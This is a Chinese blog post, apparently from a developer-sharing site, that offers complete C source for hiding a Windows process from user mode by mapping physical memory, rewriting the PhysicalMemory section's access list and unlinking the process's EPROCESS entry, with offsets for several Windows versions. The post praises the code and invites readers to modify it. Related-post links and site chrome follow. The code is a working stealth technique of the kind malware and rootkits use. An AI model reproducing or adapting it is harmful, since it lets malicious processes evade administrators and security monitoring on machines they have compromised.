用户态隐藏进程的通用版本

Windows安全——访问控制概述 Windows安全模型 阅读详情
一般基于HOOK ZwQuerySystemInformation的隐藏进程都是在驱动模式下进行的, 在这里通过操作内存实现了. 而且达到了不同系统版本的通用性. 厉害...来自驱动开发网的东东....比较适合我们这种驱动白痴 ^_^

注:在测试过程中.因为是命令行模式,所以在任务管理器的应用程序中看的到, 实际上在进程中已经隐藏了...其他的自己改吧...
下面是源代码:

#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <malloc.h>

#define NT_SUCCESS(Status)      ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH    ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
  NTSTATUS  Status;
  ULONG    Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
  USHORT    Length;
  USHORT    MaximumLength;
  PWSTR    Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT       0x00000002L
#define OBJ_PERMANENT      0x00000010L
#define OBJ_EXCLUSIVE      0x00000020L
#define OBJ_CASE_INSENSITIVE  0x00000040L
#define OBJ_OPENIF       0x00000080L
#define OBJ_OPENLINK      0x00000100L
#define OBJ_KERNEL_HANDLE    0x00000200L
#define OBJ_VALID_ATTRIBUTES  0x000003F2L


#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED        ((NTSTATUS)0xC0000022L)

/*
*************************************************************************
* ntddk.h
*/
typedef LONG    NTSTATUS;
typedef ULONG    ACCESS_MASK;
/*
* ntdef.h
*************************************************************************
*/

/*
*************************************************************************
* <<Windows NT/2000 Native API Reference>> - Gary Nebbett
*/

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

/*
*Information Class 16
*/
typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

#define InitializeObjectAttributes( p, n, a, r, s ) { (p)->Length = sizeof( OBJECT_ATTRIBUTES ); (p)->RootDirectory = r; (p)->Attributes = a; (p)->ObjectName = n; (p)->SecurityDescriptor = s; (p)->SecurityQualityOfService = NULL; }
/*
*************************************************************************
* <<Windows NT/2000 Native API Reference>> - Gary Nebbett
*************************************************************************
*/
typedef ULONG    ( __stdcall *RTLNTSTATUSTODOSERROR    ) ( IN NTSTATUS Status );
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );
/************************************************************************
*                                                                      *
*                            Function Prototype                        *
*                                                                      *
************************************************************************/

static DWORD GetEprocessFromPid    ( ULONG PID );
static BOOL  LocateNtdllEntry ( void );


/************************************************************************
*                                                                      *
*                            Static Global Var                         *
*                                                                      *
************************************************************************/

static RTLNTSTATUSTODOSERROR    RtlNtStatusToDosError    = NULL;
static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

static HMODULE                    hModule                     = NULL;
/************************************************************************/


static DWORD GetEprocessFromPid ( ULONG    PID )
{
    NTSTATUS                    status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;

    for ( size = 1; ; size *= 2 )
    {
        if ( NULL == ( buf = calloc( size, 1 ) ) )
        {
            fprintf( stderr, "calloc( %u, 1 ) failed/n", size );
            goto GetEprocessFromPid_exit;
        }
        status = ZwQuerySystemInformation( SystemHandleInformation, buf, size, NULL );
        if ( !NT_SUCCESS( status ) )
        {
            if ( STATUS_INFO_LENGTH_MISMATCH == status )
            {
                free( buf );
                buf = NULL;
            }
            else
            {
                printf( "ZwQuerySystemInformation() failed");
                goto GetEprocessFromPid_exit;
            }
        }
        else
        {
            break;
        }
    }  /* end of for */

    //返回到缓冲区的首先是一个ULONG类型的数据,表示有多少数组
    NumOfHandle = (ULONG)buf;

    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
    
    for(i = 0; i<NumOfHandle ;i++)
    {
        if( ( h_info[i].ProcessId == PID )&&( h_info[i].ObjectTypeNumber == 5  ))//&&( h_info[i].Handle==0x3d8 ) )
        {
            printf("Handle:0x%x,OBJECT 0x%x/n/r",h_info[i].Handle,h_info[i].Object);
            return((DWORD)(h_info[i].Object));
        }
    }
GetEprocessFromPid_exit:
    if ( buf != NULL )
    {
        free( buf );
        buf = NULL;
    }
    return(FALSE);
}


/*
* ntdll.dll
*/
static BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    NTDLL_DLL[] = "ntdll.dll";
    HMODULE ntdll_dll   = NULL;


    if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
    {
        printf( "GetModuleHandle() failed");
        return( FALSE );
    }
    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    ret = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        printf( "GetProcAddress() failed");
    }
    ntdll_dll = NULL;
    return( ret );
}
typedef struct _OBJECT_ATTRIBUTES
{
  ULONG    Length;
  HANDLE    RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG    Attributes;
  PVOID    SecurityDescriptor;
  PVOID    SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
            OUT PHANDLE SectionHandle,
            IN ACCESS_MASK DesiredAccess,
            IN POBJECT_ATTRIBUTES ObjectAttributes
            );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(        
             IN OUT PUNICODE_STRING DestinationString,
             IN PCWSTR SourceString
             );

RTLINITUNICODESTRING    RtlInitUnicodeString;
ZWOPENSECTION      ZwOpenSection;
HMODULE  g_hNtDLL = NULL;
PVOID   g_pMapPhysicalMemory = NULL;
HANDLE   g_hMPM   = NULL;

BOOL InitNTDLL()
{
  g_hNtDLL = LoadLibrary( "ntdll.dll" );
  if ( !g_hNtDLL )
  {
    return FALSE;
  }

  RtlInitUnicodeString =
    (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");
  
  ZwOpenSection =
    (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");
  
  return TRUE;
}

VOID CloseNTDLL()
{
  if(g_hNtDLL != NULL)
  {
    FreeLibrary(g_hNtDLL);
  }
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
  
  PACL pDacl=NULL;
  PACL pNewDacl=NULL;
  PSECURITY_DESCRIPTOR pSD=NULL;
  DWORD dwRes;
  EXPLICIT_ACCESS ea;
  
  if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
    NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }
  
  ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  ea.grfAccessPermissions = SECTION_MAP_WRITE;
  ea.grfAccessMode = GRANT_ACCESS;
  ea.grfInheritance= NO_INHERITANCE;
  ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
  ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
  ea.Trustee.ptstrName = "CURRENT_USER";
  
  
  if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }
  
  if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }
  
CleanUp:
  
  if(pSD)
    LocalFree(pSD);
  if(pNewDacl)
    LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
  NTSTATUS    status;
  UNICODE_STRING    physmemString;
  OBJECT_ATTRIBUTES  attributes;
  
  RtlInitUnicodeString( &physmemString, L"//Device//PhysicalMemory" );
  
  attributes.Length      = sizeof(OBJECT_ATTRIBUTES);
  attributes.RootDirectory    = NULL;
  attributes.ObjectName      = &physmemString;
  attributes.Attributes      = 0;
  attributes.SecurityDescriptor    = NULL;
  attributes.SecurityQualityOfService  = NULL;
  
  status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
  
  if(status == STATUS_ACCESS_DENIED){
    status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
    SetPhyscialMemorySectionCanBeWrited(g_hMPM);
    CloseHandle(g_hMPM);
    status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
  }

  if( !NT_SUCCESS( status ))
  {
    return NULL;
  }
  
  g_pMapPhysicalMemory = MapViewOfFile(
    g_hMPM,
    4,
    0,
    0x30000,
    0x1000);
  if( g_pMapPhysicalMemory == NULL )
  {
    return NULL;
  }
  
  return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
  ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
  if(VAddr>=0x80000000 && VAddr<0xa0000000)
  {
    PAddr=VAddr-0x80000000;
    return (PVOID)PAddr;
  }
  PGDE=BaseAddress[VAddr>>22];
  if ((PGDE&1)!=0)
  {
    ULONG tmp=PGDE&0x00000080;
    if (tmp!=0)
    {
      PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
    }
    else
    {
      PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
      PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
      if ((PTE&1)!=0)
      {
        PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
        UnmapViewOfFile((PVOID)PGDE);
      }
      else return 0;
    }
  }
  else return 0;

  return (PVOID)PAddr;
}

ULONG GetData(PVOID addr)
{
  ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
  PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
  if (tmp==0)
    return 0;
  ULONG ret=tmp[(phys & 0xFFF)>>2];
  UnmapViewOfFile(tmp);
  return ret;
}

BOOL SetData(PVOID addr,ULONG data)
{
  ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
  PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
  if (tmp==0)
    return FALSE;
  tmp[(phys & 0xFFF)>>2]=data;
  UnmapViewOfFile(tmp);
  return TRUE;
}

BOOL HideProcessAtAll()
{
    if (InitNTDLL())
    {
    if (OpenPhysicalMemory()==0)
    {
      return FALSE;
    }
    int f,b;
    OSVERSIONINFO osvi;
    osvi.dwOSVersionInfoSize=sizeof(osvi);    
    GetVersionEx(&osvi);
    //f=0x88;b=0x8c;
    
    if(osvi.dwMajorVersion==5)
    {
        if(osvi.dwMinorVersion==0)//win2k
        {
            f=0xa0;b=0xa4;
        }
        else if(osvi.dwMinorVersion==1)//winxp
        {
            f=0x88;b=0x8c;
        }
        else if(osvi.dwMinorVersion==2)//win2003
        {
            f=0x8a;b=0x8e;
        }
        else return FALSE;
    }
    else if(osvi.dwMajorVersion==4 && osvi.dwMinorVersion==0 &&osvi.dwPlatformId==2)//NT
    {
        f=0x98;b=0x9c;
    }
    else return FALSE;
    
//  ULONG thread=GetData((PVOID)0xFFDFF124);
//  ULONG process=GetData((PVOID)(thread+0x22c));

    LocateNtdllEntry( );
    //打开自身句柄,这样才能在handle列表中找到自己,PROCESS 对应 ObjectTypeNum 为5
    OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );  
    ULONG process=(ULONG)GetEprocessFromPid( (DWORD)GetCurrentProcessId() );
    ULONG fw=GetData(PVOID(process+f));
    ULONG bw=GetData(PVOID(process+b));
    SetData(PVOID(fw+4),bw);
    SetData(PVOID(bw),fw);

    UnmapViewOfFile(g_pMapPhysicalMemory);
    CloseHandle(g_hMPM);
    CloseNTDLL();
  }
  return TRUE;
}

int main(int argc, char* argv[])
{
    HideProcessAtAll();
    Sleep(30*1000);
    printf("Hello World!/n");
    return 0;
}
反向进程注入及隐藏--动手做一个最简单的PELoader 动手做一个最简单的PELoaderLuke msfocus@hotmail.com一.废话最近因为公司的项目需要,顺带的学习了一点和PELoader相关的东西,恰见网上正在沸沸扬扬的谈论虚拟脱壳。本人不才,实在是没能力也没精力去写一个真正意义上的虚拟机,因此尝试做了一个简单而偷懒的PE加载器。这个PE加载器也可以看做是VM的前身吧。我想它可以成为一个简易脱壳工具或者用户态的进程内调试器基础。二.做 阅读详情

相关推荐

Linux服务器遭遇Mirai变种攻击:利用DDNS隐藏C2与进程隐藏技术深度解析

僵尸网络是网络安全领域长期存在的威胁,其核心原理是通过感染大量设备构建可远程控制的‘肉鸡’集群,实现分布式拒绝服务攻击等恶意活动。在技术演进中,攻击者不断升级隐蔽性以对抗检测,其中利用动态DNS服务构建弹性命令与控制网络成为新兴手法。DDNS本是为动态IP设备提供便捷访问的合法服务,但其注册简易、验证薄弱的特点常被滥用,攻击者可快速更换C2服务器真实IP,使基于IP黑名单的传统防御失效。同时,用户态下的进程隐藏技术通过操纵文件系统视图,使恶意进程从常用监控命令中‘消失’,极大增加了发现难度。这些技术的结合提

weixin_29314405的博客 255

以程序的方式操纵NTFS的文件权限

以程序的方式操纵NTFS的文件权限 发表日期:2004-01-29 作者:陈皓[] 出处:   Windows NT/2K/XP版本的操作系统都支持NTFS格式的文件系统,这是一个有安全性质的文件系统,你可以通过Windows的资源管理器来设置对每个目录和文件的用户访问权限。这里我就不对NTFS的安全性进行讲述了,我默认你对NTFS的文件目

wangwenwen的专栏 682

Linux权限维持与隐藏技术:从文件进程到Rootkit的攻防实战

在Linux系统安全领域,权限维持与隐藏技术是攻防对抗的核心议题。其基本原理在于利用操作系统自身的机制和特性,通过修改文件属性、进程信息、网络连接状态以及系统启动项,实现后门程序的持久化驻留与隐蔽运行。从技术价值看,深入理解这些手法不仅有助于攻击方构建稳固的访问通道,更是防御方进行威胁狩猎、入侵检测和应急响应的必备知识。在实际应用场景中,无论是红队评估、渗透测试还是系统安全加固,掌握文件隐藏(如利用chattr属性、mount绑定)、进程伪装、自启动项劫持(如systemd服务、cron计划任务)以及Roo

cuyi7076的博客 757

windows访问控制列表 --ACL(Access Control List)

1、定义     ACL是一个windows中的表示用户(组)权限的列表。   Access Control List(ACL) Access Control Entry(ACE) ... 2、分类   ACL分为两类     1,Discretionary Access Control List (DACL) 自由访问控制列表    ...

weixin_30628077的博客 1384

第18课:探究进程隐藏与反隐藏,知己知彼百战不殆

进程隐藏技术在主机和网络安全领域有很实用的应用。 比如,对红方,安全人员会在蜜罐系统上隐藏一些敏感进程,防止引起入侵者的警觉;对黑方,有些木马程序会使用进程隐藏技术让自己躲过系统管理人员的排查和监控,从而让自己能不被察觉地在被攻击系统上长期运行。 前者对自己的系统有完全的控制权,所以,采用修改 Linux 内核,增加进程隐藏机制的方式就可以很干净地实现;而后者,因为要尽量隐蔽自己的行踪,所以通常不...

yubo112002的专栏 407

深入Windows 7系统进程隐藏技术

系统进程隐藏是一种在操作系统中使特定进程对普通方法不可见的技术。掌握这项技术,对于提高系统的安全性、保护关键任务的顺利运行以及提升用户体验都至关重要。进程隐藏技术从最初的简单技巧逐步演进到今天高度复杂的系统级策略。它的发展历程体现了安全领域攻防对抗的本质,以及IT专家在安全防御方面不断创新的追求。当前,最主流的进程隐藏方法包括但不限于:Rootkit、内核级钩子、API过滤等。这些方法各有其工作原理和实现机制,但最终目的都是为了使系统进程不被轻易识别,以达成安全防护或其他特定需求。

weixin_42350014的博客 1031

Windows授权---Windows Authorization

授权 目的 Purpose 授权是指使用系统以及系统中的数据的权利的赋予。授权一般由系统管理员设置、并由计算机根据用户的身份,比如代码数字、密码,来进行区分。 微软的授权包括授权管理和授权API两部分。 面向的开发者受众 Developer audience 微软的授权技术是为那些基于Windows Server和控制访问资源的操作系统开发应用程序的开发者设计的。开发者需要熟悉Wi...

刘国元的专栏 3257

Windows内核层进程防护驱动:支持句柄降权、进程隐藏与游戏图标异常显示绕过

一套运行在Ring 0的Windows内核驱动方案,专注进程级防护与资源控制。通过ObRegisterCallbacks注册对象回调,实现对目标进程的句柄权限动态降级,防止被恶意工具或杀软任意操作;修改EPROCESS结构体关键字段完成进程隐藏,规避任务管理器及常规枚举手段;针对游戏场景中常见的GUI子系统图标加载异常(俗称‘破图标’),集成图标资源劫持机制,在不修改用户态程序的前提下修复或绕过图标显示失败问题。工程采用标准WDM驱动框架,包含完整VS解决方案(ProcessProtect.sln)、驱动入

pink7的博客 312

Windows中的桌面管理 安全与访问权限 Desktop Security and Access Rights

Security enables you to control access to desktop objects. For more information about security, see Access-Control Model.You can specify a security descriptor for a desktop object when you call the CreateDesktop or CreateDesktopEx function. If you specify

没事的时候找点事做。 5453

PCA9548实战:从硬件连接到Linux驱动的I2C扩展全解析

本文详细解析了PCA9548 I2C多路复用器从硬件连接到Linux驱动配置的全过程。涵盖硬件引脚连接、电源去耦、地址选择等关键设计要点,以及Linux驱动加载、设备树配置和应用层编程技巧,帮助开发者高效实现I2C总线扩展。

weixin_28726391的博客 410

Xilinx SDK工程编译、链接、调试注意事项

1、添加工程 启动SDK时选取workspace,如下图所示: 对应的workpace文件夹中会生成如下几个文件: 如果当前workspace是首次加载工程,SDK会进入启动界面 点击Import Project,导入已有工程 点击Browse,添加工程路径,一个完整的工程包含一个bsp文件夹,一个HW文件夹,和一个src文件夹(添加C功能函数) 点击Fini...

Autumn_He的博客 1万+

linux 用户态 隐藏进程 简介

目录 linux下查看进程的方法 PS/TOP显示进程原理 隐藏进程 某些时候程序员为了防止其他人不小心或者恶意破坏掉你运行的程序,或者我们要做些“见不得光”的事情,就有隐藏进程的需求,目的是让小白或者初级运维无法通过相关命令工具查找到你的程序,达到隐藏目的。前两天正好项目上需要用到隐藏进程的需求,所以分析了下个人觉得目前比较好的做法。 linux下查看进程的方法 ps命令 top命令 目前网上很多方法基本都是通过如下方式来达到进程隐藏: 1.根...

whatday的专栏 2819

OpenCV实战:从边缘检测到透视校正,打造智能文档扫描仪(Python代码详解)

本文详细介绍了如何使用OpenCV和Python从零开始构建一个智能文档扫描仪。通过边缘检测、透视校正和文字增强等核心技术,将倾斜、模糊的文档照片转换为清晰、方正的高质量扫描图像。文章提供了完整的代码实现和参数调优经验,帮助开发者打造稳定、高效的文档处理工具。

flower的专栏 695

应急响应-进程隐藏

通过劫持getdents() 或 readdir()来隐藏进程,编译后将生成的 .so 文件路径写入 /etc/ld.so.preload。但是使用 busybox 可以看到隐藏进程的相关信息,那是因为 busybox ps 命令直接读取了 proc 目录的数字,不调用系统预加载库。用户态常使用的方法有很多,例如劫持预加载动态链接库,一般通过设置环境变量 LD_PRELOAD 或者 /etc/ld.so.preload,过滤 /proc/pid 目录、修改进程 PID 等等。

qq_45694932的博客 1063

网口电路/Bob Smith电路思考及测试

上表中的数据为实际数据,此时可以看出在结果比对中,分别为以上三种时,结果基本上变化很小,且网口一致性指标都是测试通过的,而且如果真的Bob Smith电路是有阻抗变换的作用的,我的以上操作(保留阻容、去掉电阻、去掉电阻电容)完全破环了阻抗平衡,但是实际上对网口一致性指标没有多大的影响,这是我认为该电路不具有阻抗变换的第一个原因。网口变压器的共模电感,就是电流型中的T10、T14、T17、T18,我们知道辐射超标一般都是共模电流导致的,而共模电感就是来消耗差分线路中的共模电流的,而对差模电流基本无影响。

domen_pan的博客 6056

32位MIPS流水线CPU设计

32位MIPS流水线CPU设计(vivado)

m0_51320209的博客 3199

深入解析进程隐藏与反调试技术:从系统调用到内存注入

在操作系统安全领域,进程管理与内存操作是核心基础概念。现代操作系统通过用户态监控机制(如API钩子)来检测恶意行为,其原理在于拦截关键系统调用以分析进程活动。为了对抗这种监控,直接系统调用技术应运而生,它通过汇编指令直接与内核通信,绕过用户态钩子,从而实现进程行为的隐蔽。这项技术的价值在于帮助安全研究人员深入理解攻防对抗的本质,为构建更强大的终端检测与响应系统提供关键洞察。在实际应用场景中,此类技术常被用于红队安全评估、反作弊强度测试以及恶意软件分析。本文以zer0dte项目为例,具体探讨了如何通过进程镂空

weixin_30896825的博客 357

SAP生产订单技术性完成(TECO)操作指南与实战应用

生产订单技术关闭操作指南主要包括单笔和批量关闭两种方式,通过CO02/COHV事务码完成。

m0_47402127的博客 1932

linux下隐藏root进程,一行代码教你如何隐藏Linux进程

总有朋友问隐藏Linux进程的方法,我说你想隐藏到什么程度,是大隐于内核,还是小隐于用户。网上通篇论述的无外乎hook掉procfs或者类似的用户态方案,也都难免长篇大论,我说,这些场面都太大了,太复杂了。对于希望马上看到效果的而言,看到这么一堆复杂的东西,大概率望而却步。本文介绍一种将Linux进程小隐于用户的非常规方法,仅仅一行代码:修改掉进程的pid即可。注意是小隐,所以,不值得反制,逗一下...

weixin_35060159的博客 604

【实战】LLaMA-Factory 如何做 LLM 的多轮对话微调

LLaMA-Factory 作为一个广受欢迎、易于使用的 LLM 微调框架,为开发者提供了便捷的途径来针对特定任务(包括多轮对话)优化模型。本文将深入探讨 LLaMA-Factory 如何支持多轮对话微调,涵盖其基本概念、数据准备、核心机制、评估方法等。简单来说,多轮对话是指包含两个或更多轮次(Turn)的交互过程,其中每一轮通常包含用户的一个输入和模型的一个输出。后续轮次的回应通常依赖于前面轮次的对话内容。模型需要理解并记忆对话历史。

kakaZhui的博客 1309

实战:RK3568 Android14 调试 ES8388 音频驱动 (MIC 篇)

这个板子的MIC设计使用了硬件自动切换方案,极大简化了软件层面的逻辑。我们不需要根据耳机插拔事件去编写复杂的路由切换代码,只需要守住 LIN1/RIN1 这一个入口,配置好增益,剩下的交给那颗 SGM3157 芯片即可。祝您的录音功能调试顺利!

qq_33427070的博客 1677

linux 进程启动 hook,程序员攻防实战:linux下这样隐藏进程,简直太溜了,赶紧用起来...

某些时候程序员为了不让其他人不小心或者恶意破坏掉你运行的程序,或者我们要做些“见不得光”的事情,就有隐藏进程的需求,目的是让小白或者初级运维无法通过ps或者top查找到你的程序,达到隐藏目的。前两天正好项目上需要用到隐藏进程的需求,所以分析了下个人觉得目前比较好的做法。linux下查看进程的方法ps命令top命令目前网上很多方法基本都是通过如下方式来达到进程隐藏:1.根据分组权限来实现不同用户组查...

weixin_34207964的博客 708

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

上一篇: BASIC ROOTKIT that hides files, directories, and processes
下一篇: 获取windows2003系统管理员密码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值